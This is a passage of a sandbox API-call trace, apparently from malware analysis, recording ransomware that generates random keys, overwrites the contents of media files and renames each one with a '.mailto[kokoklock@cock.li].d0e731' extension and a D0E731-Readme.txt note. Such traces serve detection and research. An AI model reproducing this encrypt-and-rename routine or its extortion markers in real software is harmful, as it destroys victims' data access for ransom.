Seed=0x13bbf7b0) returned 0xc68efed0 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xc5b1b173 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xe5784abd [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x740e6d88 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x6e5c6e48 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x518190e3 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xb6399a87 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x37b88d8c [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xbdbbcb53 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xfa40c30d [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xccfb6ec3 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x7f361cfc [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xe9bdb76 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xee66352f [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x83a1a89c [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x4e35340 [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x231aac6b [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x5e43d21f [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x6799378d [0071.631] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x78fb77ea [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xa85ec71f [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x4e9cfc8c [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x96d972e6 [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xccdd0907 [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xe5fc8841 [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xea54305a [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0xf05a31a1 [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x8c767410 [0071.632] RtlRandom (in: Seed=0x13bbf7b0 | out: Seed=0x13bbf7b0) returned 0x73d733be [0071.642] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.642] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13bbf77c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13bbf77c*=0x4096, lpOverlapped=0x0) returned 1 [0071.643] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423040 [0071.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13bbf77c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13bbf77c*=0x4096, lpOverlapped=0x0) returned 1 [0071.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.644] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xe938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13bbf7b4, lpOverlapped=0x0 | out: lpBuffer=0x3423040*, lpNumberOfBytesWritten=0x13bbf7b4*=0x20, lpOverlapped=0x0) returned 1 [0071.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423040) returned 1 [0071.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13bbf7c8*=0x8, lpOverlapped=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x13bbf7e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x13bbf7e0*, lpNumberOfBytesWritten=0x13bbf7c8*=0x4, lpOverlapped=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13bbf7c8*=0x4, lpOverlapped=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13bbf7c8*=0x6c, lpOverlapped=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0x13bbf7c8*=0x20, lpOverlapped=0x0) returned 1 [0071.644] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13bbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13bbf7c8*=0x4, lpOverlapped=0x0) returned 1 [0071.644] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.645] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.645] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.645] CloseHandle (hObject=0x3a4) returned 1 [0071.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x34bef18 [0071.645] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" [0071.645] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" [0071.645] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.646] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0071.646] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi", dwFileAttributes=0x20) returned 0 [0071.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0071.646] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.646] wcscat (in: _Dest=0x34799e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.646] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0071.646] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0071.646] RtlExitUserThread (Status=0x1) Thread: id = 477 os_tid = 0xff4 [0071.647] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a")) returned 0x20 [0071.647] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a", dwFileAttributes=0x20) returned 1 [0071.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.648] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13c3fd5c | out: lpFileSize=0x13c3fd5c*=93476) returned 1 [0071.648] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x16d20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.648] ReadFile (in: hFile=0x3a4, lpBuffer=0x13c3fd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x13c3fd30*, lpNumberOfBytesRead=0x13c3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0071.649] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423040 [0071.649] NtQuerySystemTime (in: CurrentTime=0x13c3fd08 | out: CurrentTime=0x13c3fd08*=132121176295410916) returned 0x0 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x88d23946 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x5a42dc03 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x94d94697 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xae9f21cf [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x46ab664 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x17de4294 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x5cd8d4e3 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xa1f3e297 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x3f17f10c [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xd853f33b [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x37dbf03d [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xb40a7fe1 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x4ebf89ed [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xf9fd7b45 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xc3cf4638 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x42a9d310 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x732e2c20 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xef66af32 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x5000a7fd [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xf2d3349f [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xff912370 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xc4029c50 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xf9bea832 [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x58837dfb [0071.649] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xc39895de [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xd8ab496d [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x3c2e908f [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xc1d01e59 [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x3c75fb3c [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x6f0142b9 [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0x32858d67 [0071.650] RtlRandom (in: Seed=0x13c3fd14 | out: Seed=0x13c3fd14) returned 0xf9596683 [0071.660] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.661] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13c3fce0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13c3fce0*=0x4096, lpOverlapped=0x0) returned 1 [0071.661] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13c3fce0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13c3fce0*=0x4096, lpOverlapped=0x0) returned 1 [0071.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.662] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x16d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13c3fd18, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13c3fd18*=0x20, lpOverlapped=0x0) returned 1 [0071.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3423068*, lpNumberOfBytesWritten=0x13c3fd2c*=0x8, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x13c3fd44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x13c3fd44*, lpNumberOfBytesWritten=0x13c3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13c3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13c3fd2c*=0x6c, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423270*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3423270*, lpNumberOfBytesWritten=0x13c3fd2c*=0x20, lpOverlapped=0x0) returned 1 [0071.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13c3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13c3fd2c*=0x4, lpOverlapped=0x0) returned 1 [0071.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423068) returned 1 [0071.663] CloseHandle (hObject=0x3a4) returned 1 [0071.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33c8f68 [0071.663] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" [0071.663] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" [0071.663] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.663] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.664] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a", dwFileAttributes=0x20) returned 0 [0071.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0071.664] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.664] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.664] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0071.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e030) returned 1 [0071.664] RtlExitUserThread (Status=0x1) Thread: id = 478 os_tid = 0xecc [0071.665] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4")) returned 0x20 [0071.665] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4", dwFileAttributes=0x20) returned 1 [0071.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.666] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13cbff30 | out: lpFileSize=0x13cbff30*=76982) returned 1 [0071.666] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x12cb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.666] ReadFile (in: hFile=0x3a4, lpBuffer=0x13cbff04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x13cbff04*, lpNumberOfBytesRead=0x13cbff00*=0x4, lpOverlapped=0x0) returned 1 [0071.666] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.667] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423068 [0071.667] NtQuerySystemTime (in: CurrentTime=0x13cbfedc | out: CurrentTime=0x13cbfedc*=132121176295566723) returned 0x0 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xc629e44e [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xd6fcea70 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x6e0480fb [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xa44bed4a [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xe143385e [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x465bf29f [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x2af457c2 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xe953f9e0 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x68bdc79b [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x12ccd833 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xa55b38a4 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x6e722b99 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xd65ed22d [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x38dc68b6 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xf23f25af [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xfe2d1e3d [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xbe7638e6 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x577d9a3c [0071.667] 